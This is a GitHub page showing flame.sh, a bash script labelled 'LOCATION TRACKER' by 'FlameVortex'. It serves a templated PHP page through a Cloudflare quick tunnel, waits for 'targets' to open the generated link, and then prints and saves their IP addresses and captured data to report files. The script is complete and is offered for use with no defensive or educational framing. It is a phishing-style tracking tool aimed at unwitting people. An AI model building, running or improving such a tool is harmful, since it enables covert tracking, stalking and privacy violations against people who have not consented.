-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathflame.sh
More file actions
139 lines (115 loc) · 5.33 KB
/
Copy pathflame.sh
File metadata and controls
139 lines (115 loc) · 5.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
trap 'printf "\n";stop' 2
PORT=3333
banner() {
RED='\e[1;31m'
GREEN='\e[1;32m'
YELLOW='\e[1;33m'
RESET='\e[0m'
clear
printf "${YELLOW}╔═════════════════════════════════════════════════════════════╗\n"
printf "║ ║\n"
printf "║ ${RED}███████╗██╗ █████╗ ███╗ ███╗███████╗ ${YELLOW}║\n"
printf "║ ${RED}██╔════╝██║ ██╔══██╗████╗ ████║██╔════╝ ${YELLOW}║\n"
printf "║ ${RED}█████╗ ██║ ███████║██╔████╔██║█████╗ ${YELLOW}║\n"
printf "║ ${RED}██╔══╝ ██║ ██╔══██║██║╚██╔╝██║██╔══╝ ${YELLOW}║\n"
printf "║ ${RED}██║ ███████╗██║ ██║██║ ╚═╝ ██║███████╗ ${YELLOW}║\n"
printf "║ ${RED}╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ${YELLOW}║\n"
printf "║ ║\n"
printf "║ ${GREEN} LOCATION TRACKER - PERSONAL${YELLOW} ║\n"
printf "║ ║\n"
printf "║ ${GREEN}Developer: FlameVortex ${YELLOW}║\n"
printf "║ ${GREEN}GitHub : github.com/FlameVortex ${YELLOW}║\n"
printf "║ ${GREEN}Version : 1.1 ${YELLOW}║\n"
printf "║ ║\n"
printf "╚═════════════════════════════════════════════════════════════╝${RESET}\n"
}
dependencies() {
command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
command -v cloudflared > /dev/null 2>&1 || { echo >&2 "I require cloudflared but it's not installed. Install it. Aborting."; exit 1; }
}
stop() {
checkphp=$(ps aux | grep -o "php" | head -n1)
checkcf=$(ps aux | grep -o "cloudflared" | head -n1)
if [[ $checkphp == 'php' ]]; then
killall -2 php > /dev/null 2>&1
fi
if [[ $checkcf == 'cloudflared' ]]; then
killall cloudflared > /dev/null 2>&1
fi
exit 1
}
catch_ip() {
ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\r\n" $ip
cat ip.txt >> saved.ip.txt
}
checkfound() {
printf "\n"
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\r\n"
while [ true ]; do
if [[ -e "ip.txt" ]]; then
printf "\r\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\r\n"
catch_ip
rm -rf ip.txt
stty sane
cat data.txt
printf "\n"
fi
sleep 0.5
done
}
cloudflare_tunnel() {
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
php -S 127.0.0.1:$PORT > /dev/null 2>&1 &
sleep 2
printf "\e[1;92m[\e[0m+\e[1;92m] Starting Cloudflare Tunnel...\n"
printf "\e[1;93m[*] Generating link...\e[0m\n"
cloudflared tunnel --url http://127.0.0.1:$PORT > tunnel.log 2>&1 &
sleep 8
link=$(grep -oP 'https://[a-zA-Z0-9-]+\.trycloudflare\.com' tunnel.log | head -n1)
if [[ -z "$link" ]]; then
printf "\e[1;31m[!] Failed to generate tunnel link!\e[0m\n"
printf "\e[1;33m[*] Checking tunnel.log for details...\e[0m\n"
tail -5 tunnel.log
else
printf "\n\e[1;92m╔══════════════════════════════════════════════╗\e[0m\n"
printf "\e[1;92m║ TUNNEL LINK READY! ║\e[0m\n"
printf "\e[1;92m╠══════════════════════════════════════════════╣\e[0m\n"
printf "\e[1;92m║ \e[1;97m%s\e[0m\e[1;92m ║\e[0m\n" "$link"
printf "\e[1;92m╚══════════════════════════════════════════════╝\e[0m\n"
fi
sed 's+forwarding_link+'$link'+g' template.php > index.php
checkfound
}
local_server() {
sed 's+forwarding_link+''+g' template.php > index.php
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server on Localhost:$PORT...\n"
php -S 127.0.0.1:$PORT > /dev/null 2>&1 &
sleep 2
printf "\e[1;92m[*] Server running at http://127.0.0.1:$PORT\e[0m\n"
checkfound
}
flame() {
if [[ -e data.txt ]]; then
cat data.txt >> targetreport.txt
rm -rf data.txt
touch data.txt
fi
if [[ -e ip.txt ]]; then
rm -rf ip.txt
fi
default_option_server="Y"
read -p $'\n\e[1;93m Enter Tunnel Mood {Cloudflare Tunnel / Local Only} [Y/n]: \e[0m' option_server
option_server="${option_server:-${default_option_server}}"
read -p $'\n\e[1;96m Enter Port (Default: 3333): \e[0m' input_port
PORT="${input_port:-3333}"
if [[ $option_server == "Y" || $option_server == "y" ]]; then
cloudflare_tunnel
else
local_server
fi
}
banner
dependencies
flame